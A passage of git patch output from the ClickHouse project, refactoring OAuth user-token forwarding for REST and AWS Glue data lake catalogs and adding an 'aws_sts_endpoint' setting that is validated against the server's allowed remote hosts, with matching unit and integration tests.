loadOAuthCredentials() for the rationale. if (!creds.client_secret.empty()) - body += "&client_secret=" + formUrlEncode(creds.client_secret); + body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); auto resp = postOAuthForm(creds.token_uri, body); if (resp->has("error")) diff --git a/src/Common/ProfileEvents.cpp b/src/Common/ProfileEvents.cpp index 201774377d07..17fb7b0a99b6 100644 --- a/src/Common/ProfileEvents.cpp +++ b/src/Common/ProfileEvents.cpp @@ -1780,7 +1780,6 @@ The server successfully detected this situation and will download merged part fr M(DataLakeGlueCatalogAssumeRoleWithWebIdentityMicroseconds, "Total time of AWS STS `AssumeRoleWithWebIdentity` calls made for forwarded user tokens.", ValueType::Microseconds) \ M(DataLakeGlueCatalogAssumeRoleWithWebIdentityFailures, "Number of AWS STS `AssumeRoleWithWebIdentity` calls that returned no credentials.", ValueType::Number) \ M(DataLakeGlueCatalogUserClientCacheHits, "Number of times a Glue client built for a forwarded user token was reused.", ValueType::Number) \ - M(DataLakeGlueCatalogServiceIdentityRequests, "Number of Glue requests using the database's service identity.", ValueType::Number) \ \ M(DataLakeUnityCatalogGetTables, "Number of 'get tables' requests to Iceberg Unity catalog.", ValueType::Number) \ M(DataLakeUnityCatalogGetTablesMicroseconds, "Total time of 'get tables' requests to Iceberg Unity catalog.", ValueType::Microseconds) \ diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index 3e7ebac941a8..1b731fb7816c 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -1299,25 +1299,18 @@ void registerDatabaseDataLake(DatabaseFactory & factory) return std::any_of(changed.begin(), changed.end(), [&](const auto & change) { return std::string_view(change.name) == name; }); }; - if (!forwarding) + for (const auto & name : exchange_only_settings) { - for (const auto & name : exchange_only_settings) - if (is_changed(name)) - throw Exception( - ErrorCodes::BAD_ARGUMENTS, - "`{}` has no effect without `oauth_forward_user_token = 1`", name); - } - else if (database_settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value.empty()) - { - for (const auto & name : exchange_only_settings) - { - if (name == "oauth_token_exchange_uri") - continue; - if (is_changed(name)) - throw Exception( - ErrorCodes::BAD_ARGUMENTS, - "`{}` has no effect without `oauth_token_exchange_uri`", name); - } + if (!is_changed(name)) + continue; + if (!forwarding) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` has no effect without `oauth_forward_user_token = 1`", name); + if (name != "oauth_token_exchange_uri" && database_settings[DatabaseDataLakeSetting::oauth_token_exchange_uri].value.empty()) + throw Exception( + ErrorCodes::BAD_ARGUMENTS, + "`{}` has no effect without `oauth_token_exchange_uri`", name); } } diff --git a/src/Databases/DataLake/GlueCatalog.cpp b/src/Databases/DataLake/GlueCatalog.cpp index 05db88b96fb3..478c14bff683 100644 --- a/src/Databases/DataLake/GlueCatalog.cpp +++ b/src/Databases/DataLake/GlueCatalog.cpp @@ -105,7 +105,6 @@ namespace ProfileEvents extern const Event DataLakeGlueCatalogDropTable; extern const Event DataLakeGlueCatalogDropTableMicroseconds; extern const Event DataLakeGlueCatalogUserClientCacheHits; - extern const Event DataLakeGlueCatalogServiceIdentityRequests; extern const Event DataLakeGlueCatalogAssumeRoleWithWebIdentity; extern const Event DataLakeGlueCatalogAssumeRoleWithWebIdentityMicroseconds; extern const Event DataLakeGlueCatalogAssumeRoleWithWebIdentityFailures; @@ -371,10 +370,7 @@ GlueCatalog::GlueCatalog( GlueCatalog::AuthenticatedClient GlueCatalog::getClient(const DB::ForwardedAuthTokenPtr & auth_token) const { if (!make_user_client) - { - ProfileEvents::increment(ProfileEvents::DataLakeGlueCatalogServiceIdentityRequests); return service_client; - } validateForwardedToken(getContext(), auth_token, fmt::format("Glue({})", region)); diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index a3eab080a381..32bb46d8e89b 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -694,17 +694,14 @@ String RestCatalog::getForwardedToken( if (!token_forwarding.exchangeEnabled()) return auth_token->token; - const auto ttl = std::chrono::seconds(token_forwarding.user_token_cache_ttl); - const bool caching_enabled = ttl > std::chrono::seconds::zero(); + if (token_forwarding.user_token_cache_ttl == 0) + return exchangeUserToken(catalog_state, generation, *auth_token).token; auto exchange = [&] { return std::make_shared(exchangeUserToken(catalog_state, generation, *auth_token)); }; - if (!caching_enabled) - return exchange()->token; - const String cache_key = fmt::format("{}:{}", generation, auth_token->fingerprint); if (!update_token) @@ -739,10 +736,7 @@ AccessToken RestCatalog::exchangeUserToken( request.requested_token_type = token_forwarding.requested_token_type; if (token_forwarding.forward_actor_token) - { request.actor_token = prepared_actor_token ? prepared_actor_token->token : getServicePrincipalToken(catalog_state, generation); - request.actor_token_type = "urn:ietf:params:oauth:token-type:access_token"; - } ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogTokenExchange); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogTokenExchangeMicroseconds); @@ -1047,12 +1041,10 @@ namespace AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const { Poco::URI url = token_request.url; - DB::ReadWriteBufferFromHTTP::OutStreamCallback out_stream_callback; - size_t body_size = 0; String body; /// Do not also send bearer authentication: strict OAuth servers reject multiple client-authentication methods. - std::vector> params; + Poco::URI::QueryParameters params; if (token_request.grant == TokenRequest::Grant::ClientCredentials) { params.emplace_back("grant_type", "client_credentials"); @@ -1070,7 +1062,7 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const if (!token_request.actor_token.empty()) { params.emplace_back("actor_token", token_request.actor_token); - params.emplace_back("actor_token_type", token_request.actor_token_type); + params.emplace_back("actor_token_type", "urn:ietf:params:oauth:token-type:access_token"); } } @@ -1078,10 +1070,7 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const params.emplace_back("client_secret", token_request.client_secret); if (token_request.use_query_parameters) - { - Poco::URI::QueryParameters query_params(params.begin(), params.end()); - url.setQueryParameters(query_params); - } + url.setQueryParameters(params); else { DB::WriteBufferFromOwnString wb; @@ -1094,11 +1083,6 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const wb << name << "=" << DB::formUrlEncode(value); } body = wb.str(); - body_size = body.size(); - out_stream_callback = [&](std::ostream & os) - { - os << body; - }; } const auto & context = getContext(); @@ -1109,13 +1093,10 @@ AccessToken RestCatalog::requestToken(const TokenRequest & token_request) const Poco::Net::HTTPRequest request(Poco::Net::HTTPRequest::HTTP_POST, url.getPathAndQuery(), Poco::Net::HTTPMessage::HTTP_1_1); request.setContentType("application/x-www-form-urlencoded"); - request.setContentLength(body_size); + request.setContentLength(body.size()); request.set("Accept", "application/json"); - std::ostream & os = session->sendRequest(request); - /// The query-parameters flavor of the request has no body. - if (out_stream_callback) - out_stream_callback(os); + session->sendRequest(request) << body; Poco::Net::HTTPResponse response; std::istream & rs = session->receiveResponse(response); @@ -1167,7 +1148,6 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons static constexpr auto oauth_tokens_endpoint = "oauth/tokens"; TokenRequest request; - request.grant = TokenRequest::Grant::ClientCredentials; request.scope = auth_scope; request.client_id = client_id; request.client_secret = client_secret; diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index 5cbb0cf69ce6..e730e738bdbe 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -80,7 +80,6 @@ struct TokenRequest String subject_token_type; String requested_token_type; String actor_token; - String actor_token_type; }; struct CredentialsCacheKey diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index 6d66bc99ea18..da4d69d6420f 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -76,9 +76,9 @@ std::string loadTableResponse() expires_at_ms); } -void installTokenEndpoint(ServerState & state, const std::string & path) +void installTokenEndpoint(ServerState & state) { - state.setStaticRoute(path, R"({"access_token":"session_token","expires_in":3600})"); + state.setStaticRoute(IDP_TOKEN_PATH, R"({"access_token":"session_token","expires_in":3600})"); } TokenForwardingConfig exchangeAt(const std::string & uri) @@ -210,7 +210,7 @@ TEST_F(RestCatalogTokenForwarding, ExchangesAndCachesEachUserTokenSeparately) TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAndCredentials) { TestServer server; - installTokenEndpoint(*server, IDP_TOKEN_PATH); + installTokenEndpoint(*server); server->setStaticRoute(TABLE_PATH, loadTableResponse()); auto alice = makeToken(); @@ -311,7 +311,7 @@ TEST_F(RestCatalogTokenForwarding, InFlightVendedCredentialsDoNotOutliveTheirGen { ParkedRoute parked; TestServer server; - installTokenEndpoint(*server, IDP_TOKEN_PATH); + installTokenEndpoint(*server); server->setRoute(TABLE_PATH, parked.handler([](const RecordedRequest &) { return json(loadTableResponse()); })); auto alice = makeToken(); @@ -346,7 +346,7 @@ TEST_F(RestCatalogTokenForwarding, ConfigLoadDoesNotRollBackAConcurrentCredentia ParkedRoute parked; TestServer server; installCatalogShape(*server); - installTokenEndpoint(*server, IDP_TOKEN_PATH); + installTokenEndpoint(*server); server->setRoute("/v1/config", parked.handler([](const RecordedRequest &) { return json(R"({"defaults":{},"overrides":{}})"); })); auto alice = makeToken(); diff --git a/src/IO/S3/tests/TestPocoHTTPServer.h b/src/IO/S3/tests/TestPocoHTTPServer.h index 7b56099753a4..02682fa04445 100644 --- a/src/IO/S3/tests/TestPocoHTTPServer.h +++ b/src/IO/S3/tests/TestPocoHTTPServer.h @@ -117,11 +117,10 @@ class MockStsRequestHandler : public Poco::Net::HTTPRequestHandler { public: explicit MockStsRequestHandler( - std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_, bool reject_) + std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_) : last_request_info(last_request_info_) , role_access_key(std::move(role_access_key_)) , role_secret_key(std::move(role_secret_key_)) - , reject(reject_) { } @@ -137,21 +136,6 @@ class MockStsRequestHandler : public Poco::Net::HTTPRequestHandler const bool web_identity = last_request_info->body.find("Action=AssumeRoleWithWebIdentity") != std::string::npos; const std::string_view action = web_identity ? "AssumeRoleWithWebIdentity" : "AssumeRole"; - if (reject) - { - response.setStatus(Poco::Net::HTTPResponse::HTTP_FORBIDDEN); - auto & error_out = response.send(); - error_out << R"( - - Sender - InvalidIdentityToken - Incorrect token audience - -)"; - error_out.flush(); - return; - } - response.setStatus(Poco::Net::HTTPResponse::HTTP_OK); auto & out = response.send(); @@ -172,7 +156,6 @@ class MockStsRequestHandler : public Poco::Net::HTTPRequestHandler std::optional & last_request_info; std::string role_access_key; std::string role_secret_key; - bool reject; }; class StsHTTPRequestHandlerFactory : public Poco::Net::HTTPRequestHandlerFactory @@ -180,19 +163,17 @@ class StsHTTPRequestHandlerFactory : public Poco::Net::HTTPRequestHandlerFactory std::optional & last_request_info; std::string role_access_key; std::string role_secret_key; - bool reject; Poco::Net::HTTPRequestHandler * createRequestHandler(const Poco::Net::HTTPServerRequest &) override { - return new MockStsRequestHandler(last_request_info, role_access_key, role_secret_key, reject); + return new MockStsRequestHandler(last_request_info, role_access_key, role_secret_key); } public: explicit StsHTTPRequestHandlerFactory( - std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_, bool reject_) + std::optional & last_request_info_, std::string role_access_key_, std::string role_secret_key_) : last_request_info(last_request_info_) , role_access_key(std::move(role_access_key_)) , role_secret_key(std::move(role_secret_key_)) - , reject(reject_) { } @@ -213,9 +194,9 @@ class TestPocoHTTPStsServer std::optional last_request_info; public: - TestPocoHTTPStsServer(std::string role_access_key, std::string role_secret_key, bool reject = false): + TestPocoHTTPStsServer(std::string role_access_key, std::string role_secret_key): server_socket(std::make_unique(0)), - handler_factory(new StsHTTPRequestHandlerFactory(last_request_info, std::move(role_access_key), std::move(role_secret_key), reject)), + handler_factory(new StsHTTPRequestHandlerFactory(last_request_info, std::move(role_access_key), std::move(role_secret_key))), server_params(new Poco::Net::HTTPServerParams()), thread_pool("TestPocoHTTPStsServer"), server(std::make_unique(handler_factory, thread_pool, *server_socket, server_params)) diff --git a/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp b/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp index 49c2a9833d6e..2d2fe1c0e116 100644 --- a/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp +++ b/src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp @@ -88,21 +88,4 @@ TEST(STSAssumeRoleWithWebIdentity, SendsTokenInTheBody) EXPECT_EQ(credentials.GetSessionToken(), "session_token"); } -TEST(STSAssumeRoleWithWebIdentity, RejectedTokenYieldsNoCredentials) -{ - TestPocoHTTPStsServer sts_http(std::string{role_access_key}, std::string{role_secret_key}, /* reject = */ true); - - DB::RemoteHostFilter remote_host_filter; - auto client_configuration = makeClientConfiguration(remote_host_filter); - - auto client = std::make_shared( - std::make_shared(), client_configuration, sts_http.getUrl()); - - DB::S3::AwsAuthSTSAssumeRoleWithWebIdentityCredentialsProvider provider( - "arn:aws:iam::123456789012:role/r", "alice", "token", /* expiration_window_seconds = */ 0, client); - - EXPECT_TRUE(provider.GetAWSCredentials().IsEmpty()); - EXPECT_FALSE(provider.getLastError().empty()); -} - #endif diff --git a/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml index 7e7e96a262b5..98522df4d705 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml +++ b/tests/integration/test_datalake_glue_token_forwarding/configs/users.xml @@ -5,7 +5,6 @@ 1 - 1 diff --git a/tests/integration/test_datalake_glue_token_forwarding/test.py b/tests/integration/test_datalake_glue_token_forwarding/test.py index 3873ee63c27c..6213005d0566 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/test.py +++ b/tests/integration/test_datalake_glue_token_forwarding/test.py @@ -17,7 +17,6 @@ DATABASE_SETTINGS = { "catalog_type": "glue", "warehouse": "test", - "storage_endpoint": "http://minio1:9001/warehouse-glue", "region": "us-east-1", "aws_role_arn": ROLE_ARN, "oauth_forward_user_token": "1", @@ -28,14 +27,6 @@ def make_token(user): return jwt.encode({"sub": user}, SECRET, algorithm="HS256") -def run_sts_mock(cluster): - start_mock_servers( - cluster, - os.path.join(os.path.dirname(__file__), "s3_mocks"), - [("mock_sts.py", STS_CONTAINER, "80")], - ) - - @pytest.fixture(scope="module") def started_cluster(): cluster = ClickHouseCluster(__file__) @@ -59,7 +50,11 @@ def started_cluster(): logging.info("Starting cluster...") cluster.start() - run_sts_mock(cluster) + start_mock_servers( + cluster, + os.path.join(os.path.dirname(__file__), "s3_mocks"), + [("mock_sts.py", STS_CONTAINER, "80")], + ) node = cluster.instances["node1"] node.query("CREATE ROLE IF NOT EXISTS token_users") @@ -83,7 +78,8 @@ def sts_requests(started_cluster): return json.loads(output) -def reset_sts(started_cluster): +@pytest.fixture(autouse=True) +def clean_sts_log(started_cluster): started_cluster.exec_in_container( started_cluster.get_container_id(STS_CONTAINER), [ @@ -94,12 +90,6 @@ def reset_sts(started_cluster): ) -@pytest.fixture(autouse=True) -def clean_sts_log(started_cluster): - reset_sts(started_cluster) - yield - - def create_database(node, name): node.query( f"DROP DATABASE IF EXISTS {name}; " @@ -109,22 +99,11 @@ def create_database(node, name): ) -def query_with_token(node, token, sql, **kwargs): +def query_with_token(node, token, sql): response = node.http_request( - "", method="POST", data=sql, headers={"Authorization": f"Bearer {token}"}, **kwargs + "", method="POST", data=sql, headers={"Authorization": f"Bearer {token}"} ) response.raise_for_status() - return response.text - - -def profile_event(node, query_id, event): - node.query("SYSTEM FLUSH LOGS") - return int( - node.query( - f"SELECT sum(ProfileEvents['{event}']) FROM system.query_log " - f"WHERE query_id = '{query_id}' AND type = 'QueryFinish'" - ).strip() - ) def test_user_tokens_are_exchanged_into_separate_sts_sessions(started_cluster): @@ -133,10 +112,7 @@ def test_user_tokens_are_exchanged_into_separate_sts_sessions(started_cluster): create_database(node, db) token = make_token("alice") - query_id = str(uuid.uuid4()) - query_with_token(node, token, f"SHOW TABLES FROM {db}", params={"query_id": query_id}) - - assert profile_event(node, query_id, "DataLakeGlueCatalogServiceIdentityRequests") == 0 + query_with_token(node, token, f"SHOW TABLES FROM {db}") query_with_token(node, make_token("bob"), f"SHOW TABLES FROM {db}") sessions = sts_requests(started_cluster) diff --git a/tests/integration/test_datalake_token_forwarding/configs/users.xml b/tests/integration/test_datalake_token_forwarding/configs/users.xml index 3e4daacbffb2..752bc965edb2 100644 --- a/tests/integration/test_datalake_token_forwarding/configs/users.xml +++ b/tests/integration/test_datalake_token_forwarding/configs/users.xml @@ -5,7 +5,6 @@ 1 - 1 passworduser_password diff --git a/tests/integration/test_datalake_token_forwarding/test.py b/tests/integration/test_datalake_token_forwarding/test.py index 83d9e9a92df6..35279ce2821f 100644 --- a/tests/integration/test_datalake_token_forwarding/test.py +++ b/tests/integration/test_datalake_token_forwarding/test.py @@ -76,15 +76,15 @@ def query_with_token(node, token, sql, **kwargs): return response.text -def create_database(node, name, settings, storage_credentials=False): +def create_database(node, storage_credentials=False): arguments = f"'{BASE_URL}'" if storage_credentials: arguments += f", '{minio_access_key}', '{minio_secret_key}'" - node.query(f"DROP DATABASE IF EXISTS {name}") + node.query(f"DROP DATABASE IF EXISTS {CATALOG_NAME}") node.query( f"SET allow_experimental_database_iceberg=true;" - f"CREATE DATABASE {name} ENGINE = DataLakeCatalog({arguments}) " - f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" + f"CREATE DATABASE {CATALOG_NAME} ENGINE = DataLakeCatalog({arguments}) " + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in DATABASE_SETTINGS.items())}" ) @@ -125,7 +125,7 @@ def profile_event(node, query_id, event): def test_password_user_is_denied(started_cluster): node = started_cluster.instances["node1"] - create_database(node, CATALOG_NAME, DATABASE_SETTINGS) + create_database(node) response = node.http_request( "", @@ -138,7 +138,7 @@ def test_password_user_is_denied(started_cluster): def test_native_protocol_forwards_jwt(started_cluster): node = started_cluster.instances["node1"] - create_database(node, CATALOG_NAME, DATABASE_SETTINGS) + create_database(node) node.exec_in_container( ["clickhouse", "client", "--jwt", make_token("alice"), "--query", f"CHECK DATABASE {CATALOG_NAME}"] @@ -148,7 +148,7 @@ def test_native_protocol_forwards_jwt(started_cluster): def test_no_forwarding_without_the_server_setting(started_cluster): node = started_cluster.instances["node1"] - create_database(node, CATALOG_NAME, DATABASE_SETTINGS) + create_database(node) node.replace_in_config( "/etc/clickhouse-server/config.d/token_forwarding.xml", @@ -178,7 +178,7 @@ def write_fixture(started_cluster, node): table = f"t_{uuid.uuid4().hex[:8]}" create_namespace(started_cluster, namespace) create_table_in_catalog(started_cluster, namespace, table) - create_database(node, CATALOG_NAME, DATABASE_SETTINGS, storage_credentials=True) + create_database(node, storage_credentials=True) return namespace, table From a7cdb888b7953f3abc9e5cd8c3824af3545d3e0c Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Fri, 25 Sep 2026 17:18:09 +0200 Subject: [PATCH 7/8] Add `aws_sts_endpoint` setting for Glue catalog token forwarding The endpoint is checked against `remote_url_allow_hosts`, so forwarded user tokens cannot be sent to arbitrary hosts via `AssumeRoleWithWebIdentity`. --- docs/en/engines/database-engines/datalake.md | 4 ++- src/Databases/DataLake/DatabaseDataLake.cpp | 2 ++ .../DataLake/DatabaseDataLakeSettings.cpp | 1 + src/Databases/DataLake/GlueCatalog.cpp | 12 ++++++++- src/Databases/DataLake/ICatalog.h | 1 + .../configs/token_forwarding.xml | 3 +++ .../test.py | 26 +++++++++++++++---- 7 files changed, 42 insertions(+), 7 deletions(-) diff --git a/docs/en/engines/database-engines/datalake.md b/docs/en/engines/database-engines/datalake.md index 3094590d073e..922be2900da5 100644 --- a/docs/en/engines/database-engines/datalake.md +++ b/docs/en/engines/database-engines/datalake.md @@ -58,6 +58,7 @@ The following settings are supported: | `aws_access_key_id` | AWS access key ID for S3/Glue access (if not using vended credentials) | | `aws_secret_access_key` | AWS secret access key for S3/Glue access (if not using vended credentials) | | `region` | AWS region for the service (e.g., `us-east-1`) | +| `aws_sts_endpoint` | Custom AWS STS endpoint for Glue role assumption | | `dlf_access_key_id` | Access key ID for DLF access | | `dlf_access_key_secret` | Access key Secret for DLF access | | `namespaces` | Comma-separated list of namespaces, implemented for catalog types: `rest`, `glue` and `unity` | @@ -174,6 +175,7 @@ SETTINGS catalog_type = 'glue', region = 'us-east-1', aws_role_arn = 'arn:aws:iam::123456789012:role/data-lake-reader', + aws_sts_endpoint = 'https://sts.us-east-1.amazonaws.com', oauth_forward_user_token = 1; ``` @@ -182,7 +184,7 @@ to accept the users' tokens, including their `aud` and `sub` claims. - `aws_role_arn` is required. - `aws_access_key_id`, `aws_secret_access_key`, and RFC 8693 exchange settings are rejected. -- The AWS STS endpoint is determined by `region`. +- `aws_sts_endpoint` overrides the regional AWS STS endpoint. Use HTTPS in production; an HTTP endpoint is suitable only for local testing. - Users receive the assumed role's permissions. Use separate roles or session-tag policies to distinguish access. ClickHouse does not implement IAM Identity Center trusted identity propagation. diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index 1b731fb7816c..3f839417d878 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -82,6 +82,7 @@ namespace DatabaseDataLakeSetting extern const DatabaseDataLakeSettingsString aws_role_arn; extern const DatabaseDataLakeSettingsString aws_role_session_name; extern const DatabaseDataLakeSettingsString aws_external_id; + extern const DatabaseDataLakeSettingsString aws_sts_endpoint; extern const DatabaseDataLakeSettingsString onelake_tenant_id; extern const DatabaseDataLakeSettingsString onelake_client_id; extern const DatabaseDataLakeSettingsString onelake_client_secret; @@ -301,6 +302,7 @@ void DatabaseDataLake::initialize() const .aws_role_arn = settings[DatabaseDataLakeSetting::aws_role_arn].value, .aws_role_session_name = settings[DatabaseDataLakeSetting::aws_role_session_name].value, .aws_external_id = settings[DatabaseDataLakeSetting::aws_external_id].value, + .aws_sts_endpoint = settings[DatabaseDataLakeSetting::aws_sts_endpoint].value, .forward_user_token = settings[DatabaseDataLakeSetting::oauth_forward_user_token].value, }; diff --git a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp index e32ebcb32df3..93e026f5538e 100644 --- a/src/Databases/DataLake/DatabaseDataLakeSettings.cpp +++ b/src/Databases/DataLake/DatabaseDataLakeSettings.cpp @@ -39,6 +39,7 @@ namespace ErrorCodes DECLARE(String, aws_role_arn, "", "Role arn for AWS connection for Glue catalog", 0) \ DECLARE(String, aws_role_session_name, "", "Role session name for AWS connection for Glue catalog", 0) \ DECLARE(String, aws_external_id, "", "External id for the AWS STS AssumeRole trust policy for Glue catalog", 0) \ + DECLARE(String, aws_sts_endpoint, "", "Custom AWS STS endpoint for Glue catalog", 0) \ DECLARE(String, storage_endpoint, "", "Object storage endpoint", 0) \ DECLARE(S3UriStyle, storage_uri_style, S3UriStyle::AUTO, "URL style used when constructing object storage URLs from catalog-provided table locations. Use 'virtual_hosted' when the object storage server requires the bucket in the hostname (e.g. https://bucket.endpoint.com/path/)", 0) \ DECLARE(String, onelake_tenant_id, "", "Tenant id from azure", 0) \ diff --git a/src/Databases/DataLake/GlueCatalog.cpp b/src/Databases/DataLake/GlueCatalog.cpp index 478c14bff683..d8b7ce7b29a9 100644 --- a/src/Databases/DataLake/GlueCatalog.cpp +++ b/src/Databases/DataLake/GlueCatalog.cpp @@ -247,6 +247,7 @@ GlueCatalog::GlueCatalog( creds_config.role_arn = settings.aws_role_arn; creds_config.role_session_name = settings.aws_role_session_name; creds_config.external_id = settings.aws_external_id; + creds_config.sts_endpoint_override = settings.aws_sts_endpoint; const auto & server_settings = getContext()->getGlobalContext()->getServerSettings(); const DB::Settings & global_settings = getContext()->getGlobalContext()->getSettingsRef(); @@ -307,6 +308,14 @@ GlueCatalog::GlueCatalog( LOG_TRACE(log, "Creating AWS glue client with credentials empty {}, region '{}', endpoint '{}'", credentials.IsEmpty(), region, endpoint); } + if (!settings.aws_sts_endpoint.empty()) + { + Poco::URI uri(settings.aws_sts_endpoint); + getContext()->getRemoteHostFilter().checkHostAndPort(uri.getHost(), std::to_string(uri.getPort())); + if (uri.getScheme() == "http") + poco_config.scheme = Aws::Http::Scheme::HTTP; + } + boost::split(allowed_namespaces, settings.namespaces, boost::is_any_of(", "), boost::token_compress_on); /// Each `GlueClient` owns its endpoint resolver state. @@ -323,11 +332,12 @@ GlueCatalog::GlueCatalog( make_user_client = [build_glue_client, poco_config, role_arn = settings.aws_role_arn, + sts_endpoint = settings.aws_sts_endpoint, expiration_window_seconds = creds_config.expiration_window_seconds, logger = log](const DB::ForwardedAuthToken & auth_token) { auto sts_client = std::make_shared( - std::make_shared(), poco_config); + std::make_shared(), poco_config, sts_endpoint); auto provider = std::make_shared( role_arn, diff --git a/src/Databases/DataLake/ICatalog.h b/src/Databases/DataLake/ICatalog.h index c1be073a91eb..fcc841778ebe 100644 --- a/src/Databases/DataLake/ICatalog.h +++ b/src/Databases/DataLake/ICatalog.h @@ -163,6 +163,7 @@ struct CatalogSettings String aws_role_arn; String aws_role_session_name; String aws_external_id; + String aws_sts_endpoint; bool forward_user_token = false; DB::SettingsChanges allChanged() const; diff --git a/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml b/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml index ee19d7e1c33c..e6842a434aae 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml +++ b/tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml @@ -1,5 +1,8 @@ 1 + + sts + jwt_static_key diff --git a/tests/integration/test_datalake_glue_token_forwarding/test.py b/tests/integration/test_datalake_glue_token_forwarding/test.py index 6213005d0566..3178eabcb7aa 100644 --- a/tests/integration/test_datalake_glue_token_forwarding/test.py +++ b/tests/integration/test_datalake_glue_token_forwarding/test.py @@ -12,13 +12,14 @@ SECRET = "glue_token_forwarding_secret" BASE_URL = "http://glue:3000" ROLE_ARN = "arn:aws:iam::123456789012:role/data-lake-reader" -STS_CONTAINER = "sts.us-east-1.amazonaws.com" +STS_CONTAINER = "sts" DATABASE_SETTINGS = { "catalog_type": "glue", "warehouse": "test", "region": "us-east-1", "aws_role_arn": ROLE_ARN, + "aws_sts_endpoint": f"http://{STS_CONTAINER}:80", "oauth_forward_user_token": "1", } @@ -90,15 +91,19 @@ def clean_sts_log(started_cluster): ) -def create_database(node, name): - node.query( +def create_database_query(name, **overrides): + settings = {**DATABASE_SETTINGS, **overrides} + return ( f"DROP DATABASE IF EXISTS {name}; " f"CREATE DATABASE {name} ENGINE = DataLakeCatalog('{BASE_URL}') " - f"SETTINGS {','.join(k + '=' + repr(v) for k, v in DATABASE_SETTINGS.items())}", - settings={"allow_database_glue_catalog": 1}, + f"SETTINGS {','.join(k + '=' + repr(v) for k, v in settings.items())}" ) +def create_database(node, name): + node.query(create_database_query(name), settings={"allow_database_glue_catalog": 1}) + + def query_with_token(node, token, sql): response = node.http_request( "", method="POST", data=sql, headers={"Authorization": f"Bearer {token}"} @@ -137,3 +142,14 @@ def test_rejected_token_does_not_fall_back(started_cluster): assert "InvalidIdentityToken" in response.text, response.text assert len(sts_requests(started_cluster)) == 1 + + +def test_sts_endpoint_checked_against_remote_host_filter(started_cluster): + node = started_cluster.instances["node1"] + error = node.query_and_get_error( + create_database_query( + f"glue_{uuid.uuid4().hex[:8]}", aws_sts_endpoint="http://not_allowed:80" + ), + settings={"allow_database_glue_catalog": 1}, + ) + assert "UNACCEPTABLE_URL" in error, error From fc378c04297f1d027df760e3f35ccf3b6db03df0 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Tue, 29 Sep 2026 20:33:59 +0200 Subject: [PATCH 8/8] Simplify data lake token forwarding and test setup Replace `TokenRequest` with `Poco::URI::QueryParameters`, simplify settings validation, and remove unnecessary test-server ownership wrappers. Validated with 32 catalog, STS, and async-insert unit tests. Related: https://github.com/Altinity/ClickHouse/pull/2329 --- src/Databases/DataLake/DatabaseDataLake.cpp | 11 +-- src/Databases/DataLake/RestCatalog.cpp | 83 +++++++------------ src/Databases/DataLake/RestCatalog.h | 22 +---- .../DataLake/tests/rest_catalog_test_server.h | 25 ++---- 4 files changed, 45 insertions(+), 96 deletions(-) diff --git a/src/Databases/DataLake/DatabaseDataLake.cpp b/src/Databases/DataLake/DatabaseDataLake.cpp index 3f839417d878..1f7602dc734c 100644 --- a/src/Databases/DataLake/DatabaseDataLake.cpp +++ b/src/Databases/DataLake/DatabaseDataLake.cpp @@ -1295,15 +1295,10 @@ void registerDatabaseDataLake(DatabaseFactory & factory) "oauth_user_token_cache_ttl", }; - const SettingsChanges changed = database_settings.allChanged(); - auto is_changed = [&](std::string_view name) + for (const auto & change : database_settings.allChanged()) { - return std::any_of(changed.begin(), changed.end(), [&](const auto & change) { return std::string_view(change.name) == name; }); - }; - - for (const auto & name : exchange_only_settings) - { - if (!is_changed(name)) + const auto & name = change.name; + if (std::find(exchange_only_settings.begin(), exchange_only_settings.end(), name) == exchange_only_settings.end()) continue; if (!forwarding) throw Exception( 